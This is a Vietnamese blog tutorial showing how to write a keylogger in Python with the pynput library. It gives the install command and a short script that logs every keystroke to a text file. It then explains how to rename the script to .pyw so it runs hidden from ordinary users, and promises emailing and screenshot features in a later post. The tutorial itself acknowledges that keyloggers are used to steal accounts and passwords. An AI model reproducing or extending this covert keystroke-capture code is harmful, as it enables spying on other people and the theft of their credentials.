Cách tạo KeyLogger bằng Python đơn giản nhất
Sun Apr 04 2021 17:06:10 GMT+0700 (Indochina Time)
Hôm nay mình sẽ hướng dẫn các bạn viết Code Keylogger bằng Python cực kỳ đơn giản. Hiện nay ứng dụng Python đang được phổ biến, đặc biệt là Bộ Giáo dục đã đưa Python vào chương trình học cấp 2. Do đó việc nghiên cứu Python ngay từ bây giờ không bao giờ là sớm cả. Python nổi tiếng vì các code khá dễ và có sẵn nhiều thư viện. Một trong đó là thư viện pynput giúp bạn ghi lại nhật ký bàn phím, chuột, từ đó có thể tạo ra 1 con keylogger đơn giản.
<h2 class="text-primary">Cách tạo KeyLogger bằng Python đơn giản nhất</h2>
<p>Keylogger là một loại phần mềm giám sát được thiết kế để ghi lại các thao tác gõ phím của người dùng. Một trong những hình thức đe dọa an ninh mạng lâu đời nhất, tính năng ghi nhật ký tổ hợp phím này ghi lại thông tin bạn nhập bất kỳ ký tự nào trên bàn phím, Keylogger sẽ ghi lại và lưu vào 1 file sau đó sẽ gửi cho Hacker. Như vậy nếu Keylogger được cài vào máy nạn nhân, hacker có thể dễ dàng đánh cắp tài khoản, mật khẩu của bạn.</p>
<p>Chỉ với câu 7 câu lệnh python bạn dễ dàng tạo ra một con Keylog đơn giản cho mình.</p>
<p>Trước tiên bạn cần tải và cài đặt Python 3.x (hiện tại là Python 3.9). Khi cài nhớ chọn chức năng Add <strong>Python 3.x to Path</strong> ở màn hình đầu tiên lúc cài đặt.</p>
<p>Bạn mở CMD quyền Administrator lên và gõ lệnh:</p>
<p>
<code class="text-primary bg-light">
pip install pynput
</code>
</p>
<p>Tiếp đến mở notepad lên, copy code keylogger dưới đây và save thành file keylog.py</p>
<p>
<code class="text-primary bg-light">
</code>
</p>
<pre>
<code class="text-primary bg-light">
def evnt_key_press(key):
f = open('key.txt','a')
f.write(str(key).replace("'",'') + "\n" )
f.close()
obj = Listener(on_press=evnt_key_press)
obj.start()
obj.join()
</code>
</pre>
<img src="/img/security/code-keylog-python-1-1.jpg" alt="">
<p>Vậy là xong rồi đó, bây giờ mở CMD vơi quyền Administrator và gõ lệnh</p>
<p>
<code class="text-primary bg-light">
cd C:\
</code>
</p>
<p>
<code class="text-primary bg-light">
python keylog.py
</code>
</p>
<p>Bây giờ trên ổ C sẽ xuất hiện file <code class="text-primary bg-light">key.txt</code>, file này sẽ lưu trữ các ký tự mà bạn đã gõ trên bàn phím. Mỗi ký tự nằm ở một hàng, bạn chịu khó ghép chữ lại nhé.</p>
<p>Bây giờ chỉ cần kích hoạt file <strong>keylog.py</strong>, bạn sẽ biết được những người khác đã gõ gì trên máy tính của bạn, giúp bạn kiểm soát máy tính của mình dễ dàng hơn.</p>
<p>Trong trường hợp bạn không muốn hiển thị cửa sổ CMD khi kích hoạt Keylog hãy đổi tên file <strong>keylog.py</strong> thành <strong>keylog.pyw</strong></p>
<img src="/img/security/cai-keylog-python-1.jpg" alt="">
<p>Bây giờ thì bạn có thể <strong>tắt cửa sổ CMD được rồi</strong>, keylog sẽ hoạt động ngầm mà người thường sẽ không hề hay biết.</p>
<p>Nếu bạn muốn tắt luôn Keylog thì mở <strong>Task Manager</strong> <i>(Ctrl + Shift + Esc)</i> lên và tìm Process có tên <strong>Python -> End task</strong></p>
<img src="/img/security/tat-keylog-python-1.jpg" alt="">
<p>Như vậy mình đã hướng dẫn bạn cách viết Keylogger bằng Python đơn giản nhất. Còn các tính năng nâng cao như gửi về email, chụp màn hình… mình sẽ nói tới ở bài sau.</p>